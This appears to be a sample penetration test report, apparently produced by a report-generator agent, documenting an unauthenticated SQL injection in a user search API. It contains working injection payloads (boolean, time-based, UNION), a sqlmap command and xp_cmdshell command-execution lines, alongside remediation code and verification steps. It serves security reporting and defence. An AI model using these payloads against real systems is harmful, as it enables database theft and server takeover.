Skip to content

example-report-excerpt.md

Latest commit

 

History

History
435 lines (337 loc) · 13.5 KB

example-report-excerpt.md

File metadata and controls

435 lines (337 loc) · 13.5 KB
Raw

Sample Output: Generated by the report-generator agent. This demonstrates professional penetration test report formatting with evidence, impact analysis, and actionable remediation guidance.

Finding: SQL Injection in User Search Functionality

Finding Overview

Field Value
Finding ID VULN-2024-003
Title SQL Injection in User Search Functionality
Severity Critical
CVSS v3.1 Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
MITRE ATT&CK T1190: Exploit Public-Facing Application
Affected System https://[REDACTED]/api/v2/users/search
Affected Parameter q (query string parameter)
Backend Database Microsoft SQL Server 2019
Authentication Required No (endpoint is unauthenticated)
Date Identified 2024-09-17
Status Open

Description

The user search API endpoint at https://[REDACTED]/api/v2/users/search accepts a query parameter q that is used to search for user accounts by name or email address. The application constructs a SQL query by directly concatenating the user-supplied input into the WHERE clause without parameterization or input sanitization.

The vulnerable code pattern (confirmed via source code review during post-exploitation) follows this structure:

-- Vulnerable query construction (pseudocode from application source)
query = "SELECT id, first_name, last_name, email, department FROM users WHERE "
      + "first_name LIKE '%" + request.params.q + "%' "
      + "OR last_name LIKE '%" + request.params.q + "%' "
      + "OR email LIKE '%" + request.params.q + "%'"

This allows an attacker to inject arbitrary SQL statements by manipulating the q parameter. The vulnerability is exploitable without authentication, as the search endpoint is intended for the public-facing user directory feature.

The application runs under a SQL Server service account (svc_webapp) with db_owner privileges on the UserDirectory database and sysadmin membership on the SQL Server instance, significantly amplifying the impact.

Evidence

Test 1: Boolean-Based SQL Injection Confirmation

The following requests demonstrate the presence of SQL injection by observing differential responses to true and false conditions.

Request, True Condition (returns results):

GET /api/v2/users/search?q=' OR 1=1-- HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0
Accept: application/json
Connection: close

Response (200 OK, all records returned):

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Request-Id: 8f3a2c1d-4e5b-6f7a-8b9c-0d1e2f3a4b5c
Content-Length: 2847593

{
  "status": "success",
  "count": 49847,
  "results": [
    {
      "id": 1,
      "first_name": "Aaron",
      "last_name": "Abbott",
      "email": "a.abbott@[REDACTED]",
      "department": "Engineering"
    },
    {
      "id": 2,
      "first_name": "Abigail",
      "last_name": "Adams",
      "email": "a.adams@[REDACTED]",
      "department": "Marketing"
    }
    // ... 49,845 additional records truncated
  ]
}

Request, False Condition (returns zero results):

GET /api/v2/users/search?q=' AND 1=2-- HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0
Accept: application/json
Connection: close

Response (200 OK, zero records):

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 37

{
  "status": "success",
  "count": 0,
  "results": []
}

The differential response confirms that user input is being interpreted as SQL. The true condition (OR 1=1) returns all 49,847 records in the database; the false condition (AND 1=2) returns none.

Test 2: Time-Based Blind SQL Injection Confirmation

To further confirm the vulnerability and rule out application-level filtering, a time-based blind injection test was conducted.

Request:

GET /api/v2/users/search?q='; WAITFOR DELAY '0:0:5'-- HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0
Accept: application/json
Connection: close

Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 37

{
  "status": "success",
  "count": 0,
  "results": []
}

Observed response time: 5,023ms (normal response time for the same endpoint: ~120ms). The 5-second delay confirms that the WAITFOR DELAY statement was executed by the SQL Server backend, providing definitive proof of SQL injection.

Test 3: Database Version Extraction

Request:

GET /api/v2/users/search?q=' UNION SELECT NULL,@@version,NULL,NULL,NULL-- HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0
Accept: application/json
Connection: close

Response (truncated):

{
  "status": "success",
  "count": 1,
  "results": [
    {
      "id": null,
      "first_name": "Microsoft SQL Server 2019 (RTM-CU18) (KB5017593) - 15.0.4261.1 (X64) \n\tSep 12 2022 15:07:06 \n\tCopyright (C) 2019 Microsoft Corporation\n\tEnterprise Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)\n",
      "last_name": null,
      "email": null,
      "department": null
    }
  ]
}

Test 4: Automated Exploitation Confirmation

The vulnerability was confirmed using sqlmap with the following command (output truncated for brevity):

sqlmap -u "https://[REDACTED]/api/v2/users/search?q=test" \
  -p q \
  --dbms=mssql \
  --technique=BEUST \
  --batch \
  --threads=5 \
  --level=3 \
  --risk=2 \
  --banner

sqlmap output (key findings):

[INFO] the back-end DBMS is Microsoft SQL Server
[INFO] fetching banner
banner: 'Microsoft SQL Server 2019 (RTM-CU18) - 15.0.4261.1'
[INFO] testing if current user is DBA
[INFO] current user is DBA: True
[INFO] fetching database names
available databases [5]:
[*] master
[*] msdb
[*] tempdb
[*] UserDirectory
[*] HRData

Note: Exploitation was limited to confirming the vulnerability and demonstrating impact. No data was exfiltrated, modified, or deleted during testing. All testing activity was logged and is available for correlation in Appendix C.

Impact

Confidentiality Impact: HIGH

An attacker can read the entire contents of all databases accessible to the svc_webapp account, which has sysadmin privileges on the SQL Server instance. This includes:

Database Contents Record Count Sensitivity
UserDirectory User profiles (name, email, department, hashed passwords) ~50,000 PII
HRData Employee records (SSN, salary, performance reviews, home addresses) ~12,000 PII / Highly Sensitive
master SQL Server system database (logins, linked servers, credentials) N/A System

Exposure of the HRData database constitutes a potential data breach affecting approximately 12,000 current and former employees, with regulatory notification requirements under GDPR, CCPA, and applicable state breach notification laws.

Integrity Impact: HIGH

With sysadmin privileges, an attacker can:

  • Modify, insert, or delete records in any database
  • Create new SQL Server logins with administrative access
  • Alter stored procedures to introduce backdoors
  • Modify audit logs to cover tracks

Availability Impact: HIGH

An attacker could:

  • Drop databases, causing complete application failure
  • Execute resource-intensive queries, causing denial of service
  • Encrypt database files (ransomware scenario) via xp_cmdshell
  • Disable or reconfigure the SQL Server instance

Operating System Impact

Because the service account has sysadmin privileges, xp_cmdshell can be enabled and used for arbitrary OS command execution:

-- This was NOT executed during testing; included for impact documentation
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- Would return: CORP\svc_webapp

This would allow an attacker to pivot from the SQL Server to the underlying Windows Server operating system, escalate privileges, and move laterally within the Active Directory environment.

Remediation

Priority: Immediate (Fix within 48 hours)

1. Parameterized Queries (Primary Fix)

Replace all string-concatenated SQL queries with parameterized queries. This is the definitive fix for SQL injection.

Before (Vulnerable):

// VULNERABLE - Direct string concatenation
const query = `SELECT id, first_name, last_name, email, department FROM users
  WHERE first_name LIKE '%${req.query.q}%'
  OR last_name LIKE '%${req.query.q}%'
  OR email LIKE '%${req.query.q}%'`;
const results = await db.query(query);

After (Secure):

// SECURE - Parameterized query
const query = `SELECT id, first_name, last_name, email, department FROM users
  WHERE first_name LIKE @searchTerm
  OR last_name LIKE @searchTerm
  OR email LIKE @searchTerm`;
const searchTerm = `%${req.query.q}%`;
const results = await db.query(query, { searchTerm });

2. Input Validation (Defense in Depth)

Add server-side input validation to reject unexpected characters:

// Input validation middleware
function validateSearchInput(req, res, next) {
  const query = req.query.q || '';

  // Reject inputs longer than reasonable search length
  if (query.length > 100) {
    return res.status(400).json({ error: 'Search query too long' });
  }

  // Allow only alphanumeric characters, spaces, hyphens, periods, and @
  const allowedPattern = /^[a-zA-Z0-9\s.\-@]+$/;
  if (query && !allowedPattern.test(query)) {
    return res.status(400).json({ error: 'Invalid characters in search query' });
  }

  next();
}

3. Web Application Firewall Rule

Deploy a WAF rule to block SQL injection patterns as an immediate mitigating control while the code fix is being developed and tested:

# ModSecurity / OWASP CRS rule example
SecRule ARGS:q "@detectSQLi" \
  "id:100001,\
   phase:2,\
   deny,\
   status:403,\
   msg:'SQL Injection Attempt on User Search',\
   severity:'CRITICAL',\
   tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION'"

Note: WAF rules are a temporary mitigation, not a fix. SQL injection must be remediated at the code level.

4. Least-Privilege Database Account

The svc_webapp service account should be restricted to the minimum privileges required:

-- Remove sysadmin role
ALTER SERVER ROLE sysadmin DROP MEMBER [CORP\svc_webapp];

-- Remove db_owner and grant only necessary permissions
USE [UserDirectory];
ALTER ROLE db_owner DROP MEMBER [CORP\svc_webapp];

-- Grant only SELECT on the specific tables needed
CREATE ROLE [webapp_reader];
GRANT SELECT ON [dbo].[users] TO [webapp_reader];
ALTER ROLE [webapp_reader] ADD MEMBER [CORP\svc_webapp];

-- Ensure xp_cmdshell is disabled
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

-- Revoke access to HRData database entirely
USE [HRData];
DENY CONNECT TO [CORP\svc_webapp];

5. Disable Unnecessary SQL Server Features

-- Disable OLE Automation
EXEC sp_configure 'Ole Automation Procedures', 0;

-- Disable ad hoc distributed queries
EXEC sp_configure 'Ad Hoc Distributed Queries', 0;

-- Disable CLR integration if not needed
EXEC sp_configure 'clr enabled', 0;

RECONFIGURE;

Verification Steps

After remediation, perform the following tests to confirm the fix is effective:

1. Verify Parameterized Queries

# Boolean-based test -- should return normal search results, not all records
curl -s "https://[REDACTED]/api/v2/users/search?q=%27%20OR%201%3D1--" | jq '.count'
# Expected: 0 (or results matching the literal string "' OR 1=1--")

# Time-based test -- should respond immediately, not after 5 seconds
time curl -s "https://[REDACTED]/api/v2/users/search?q=%27%3B%20WAITFOR%20DELAY%20%270%3A0%3A5%27--"
# Expected: Response in <500ms

2. Verify Input Validation

# Special character rejection
curl -s -w "%{http_code}" "https://[REDACTED]/api/v2/users/search?q=%27%22%3B%2D%2D"
# Expected: 400 (Bad Request)

# Normal search still works
curl -s "https://[REDACTED]/api/v2/users/search?q=John" | jq '.count'
# Expected: >0 (normal results)

3. Verify Least-Privilege

-- Confirm svc_webapp no longer has sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin', 'CORP\svc_webapp');
-- Expected: 0

-- Confirm xp_cmdshell is disabled
EXEC sp_configure 'xp_cmdshell';
-- Expected: config_value = 0, run_value = 0

4. Re-Test with sqlmap

sqlmap -u "https://[REDACTED]/api/v2/users/search?q=test" \
  -p q \
  --dbms=mssql \
  --batch \
  --level=3 \
  --risk=2
# Expected: "all tested parameters do not appear to be injectable"

References

Resource URL
CWE-89: SQL Injection https://cwe.mitre.org/data/definitions/89.html
OWASP SQL Injection https://owasp.org/www-community/attacks/SQL_Injection
OWASP SQL Injection Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
MITRE ATT&CK T1190 https://attack.mitre.org/techniques/T1190/
Microsoft Parameterized Queries (mssql/node) https://learn.microsoft.com/en-us/sql/connect/node-js/step-3-proof-of-concept-connecting-to-sql-using-node-js
NIST NVD: CWE-89 https://nvd.nist.gov/vuln/categories/CWE-89
PCI DSS v4.0 Requirement 6.2.4 Software engineering techniques prevent injection attacks

This finding will be retested during the remediation verification phase. The client has 30 days to remediate Critical findings per the engagement agreement. Evidence artifacts (full HTTP request/response logs, sqlmap output, screenshots) are preserved in the engagement evidence repository.